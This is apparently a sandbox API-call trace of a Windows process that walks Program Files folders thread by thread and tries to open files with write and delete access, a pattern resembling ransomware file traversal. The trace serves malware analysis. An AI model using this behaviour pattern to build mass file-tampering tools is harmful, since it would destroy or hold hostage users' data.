	[0077.390] wcscat (in: _Dest=0x2d7b540, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*"
	[0077.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0200
	[0077.390] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70d00
	[0079.429] wcscmp (_String1=".", _String2=".") returned 0
	[0079.429] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.429] wcscmp (_String1="..", _String2=".") returned 1
	[0079.429] wcscmp (_String1="..", _String2="..") returned 0
	[0079.429] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a627cb, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a627cb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0079.429] wcscmp (_String1="v3.0", _String2=".") returned 1
	[0079.429] wcscmp (_String1="v3.0", _String2="..") returned 1
	[0079.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d785e8
	[0079.429] wcscpy (in: _Dest=0x2d785e8, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework"
	[0079.429] wcscat (in: _Dest=0x2d785e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\"
	[0079.429] wcscat (in: _Dest=0x2d785e8, _Source="v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0"

Thread:
	id = 478
	os_tid = 0x16a0

	[0077.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d787b0
	[0077.391] wcscpy (in: _Dest=0x2d787b0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0077.391] wcscat (in: _Dest=0x2d787b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\"
	[0077.391] wcscat (in: _Dest=0x2d787b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*"
	[0077.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0ba0
	[0077.391] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71500
	[0079.793] wcscmp (_String1=".", _String2=".") returned 0
	[0079.794] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.794] wcscmp (_String1="..", _String2=".") returned 1
	[0079.794] wcscmp (_String1="..", _String2="..") returned 0
	[0079.794] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0079.794] wcscmp (_String1="v3.0", _String2=".") returned 1
	[0079.795] wcscmp (_String1="v3.0", _String2="..") returned 1
	[0079.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2aa38
	[0079.795] wcscpy (in: _Dest=0x2e2aa38, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0079.795] wcscat (in: _Dest=0x2e2aa38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\"
	[0079.796] wcscat (in: _Dest=0x2e2aa38, _Source="v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0"
	[0093.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2aa38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978
	[0093.325] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0093.325] wcscmp (_String1="v3.5", _String2=".") returned 1
	[0093.325] wcscmp (_String1="v3.5", _String2="..") returned 1
	[0093.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895180
	[0093.325] wcscpy (in: _Dest=0x4895180, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0093.325] wcscat (in: _Dest=0x4895180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\"
	[0093.325] wcscat (in: _Dest=0x4895180, _Source="v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5"
	[0093.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4895180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1924
	[0093.326] FindNextFileW (in: hFindFile=0x2d71500, lpFindFileData=0x2dc0ba0 | out: lpFindFileData=0x2dc0ba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0093.326] FindClose (in: hFindFile=0x2d71500 | out: hFindFile=0x2d71500) returned 1
	[0093.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc0ba0) returned 1
	[0093.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d787b0) returned 1
	[0093.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78c70) returned 1

Thread:
	id = 479
	os_tid = 0x16a4

	[0077.391] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml")) returned 0x20
	[0084.934] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml", dwFileAttributes=0x20) returned 0
	[0085.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.234] GetLastError () returned 0x5
	[0085.234] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml", dwFileAttributes=0x20) returned 0
	[0085.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b618) returned 1

Thread:
	id = 480
	os_tid = 0x16a8

	[0077.392] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml")) returned 0x20
	[0081.796] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml", dwFileAttributes=0x20) returned 0
	[0081.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.235] GetLastError () returned 0x5
	[0085.235] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml", dwFileAttributes=0x20) returned 0
	[0085.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b438) returned 1

Thread:
	id = 481
	os_tid = 0x16ac

	[0077.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2e17b98
	[0077.393] wcscpy (in: _Dest=0x2e17b98, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application"
	[0077.393] wcscat (in: _Dest=0x2e17b98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\"
	[0077.393] wcscat (in: _Dest=0x2e17b98, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*"
	[0077.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1070
	[0077.393] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70d40
	[0079.429] wcscmp (_String1=".", _String2=".") returned 0
	[0079.429] FindNextFileW (in: hFindFile=0x2d70d40, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.429] wcscmp (_String1="..", _String2=".") returned 1
	[0079.429] wcscmp (_String1="..", _String2="..") returned 0
	[0079.429] FindNextFileW (in: hFindFile=0x2d70d40, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 1
	[0079.429] wcscmp (_String1="61.0.3163.79", _String2=".") returned 1
	[0079.429] wcscmp (_String1="61.0.3163.79", _String2="..") returned 1
	[0079.430] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7c) returned 0x498df00
	[0079.430] wcscpy (in: _Dest=0x498df00, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application"
	[0079.430] wcscat (in: _Dest=0x498df00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\"
	[0079.430] wcscat (in: _Dest=0x498df00, _Source="61.0.3163.79" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79"

Thread:
	id = 482
	os_tid = 0x16b0

	[0077.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x4733208
	[0077.393] wcscpy (in: _Dest=0x4733208, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update"
	[0077.393] wcscat (in: _Dest=0x4733208, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\"
	[0077.393] wcscat (in: _Dest=0x4733208, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*"
	[0077.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc12d8
	[0077.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0079.431] wcscmp (_String1=".", _String2=".") returned 0
	[0079.431] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.431] wcscmp (_String1="..", _String2=".") returned 1
	[0079.431] wcscmp (_String1="..", _String2="..") returned 0
	[0079.431] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eeb0b00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9eeb0b00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x68a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1
	[0079.432] wcscmp (_String1="jaureg.exe", _String2=".") returned 1
	[0079.432] wcscmp (_String1="jaureg.exe", _String2="..") returned 1
	[0079.432] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909cef00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x909cef00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0xe2218, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1
	[0079.432] wcscmp (_String1="jucheck.exe", _String2=".") returned 1
	[0079.432] wcscmp (_String1="jucheck.exe", _String2="..") returned 1
	[0079.432] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1
	[0079.432] wcscmp (_String1="jusched.exe", _String2=".") returned 1
	[0079.432] wcscmp (_String1="jusched.exe", _String2="..") returned 1
	[0079.432] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f52a00, ftCreationTime.dwHighDateTime=0x1d30266, ftLastAccessTime.dwLowDateTime=0xb300c058, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 0
	[0079.432] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0079.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc12d8) returned 1
	[0079.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733208) returned 1
	[0079.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e03fa0) returned 1

Thread:
	id = 483
	os_tid = 0x16b4

	[0077.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2e17c08
	[0077.394] wcscpy (in: _Dest=0x2e17c08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat"
	[0077.394] wcscat (in: _Dest=0x2e17c08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\"
	[0077.394] wcscat (in: _Dest=0x2e17c08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*"
	[0077.394] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc1c78
	[0077.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aa68
	[0084.951] wcscmp (_String1=".", _String2=".") returned 0
	[0084.951] FindNextFileW (in: hFindFile=0x477aa68, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33bf1c6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33bf1c6c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.951] wcscmp (_String1="..", _String2=".") returned 1
	[0084.951] wcscmp (_String1="..", _String2="..") returned 0
	[0084.951] FindNextFileW (in: hFindFile=0x477aa68, lpFindFileData=0x2dc1c78 | out: lpFindFileData=0x2dc1c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1
	[0084.951] wcscmp (_String1="ActiveX", _String2=".") returned 1
	[0084.951] wcscmp (_String1="ActiveX", _String2="..") returned 1
	[0084.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bdd10
	[0084.951] wcscpy (in: _Dest=0x47bdd10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat"
	[0084.951] wcscat (in: _Dest=0x47bdd10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\"
	[0084.951] wcscat (in: _Dest=0x47bdd10, _Source="ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX"

Thread:
	id = 484
	os_tid = 0x16b8

	[0077.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47341c0
	[0077.395] wcscpy (in: _Dest=0x47341c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM"
	[0077.395] wcscat (in: _Dest=0x47341c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\"
	[0077.395] wcscat (in: _Dest=0x47341c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*"
	[0077.395] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbe788
	[0077.395] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9e8
	[0084.512] wcscmp (_String1=".", _String2=".") returned 0
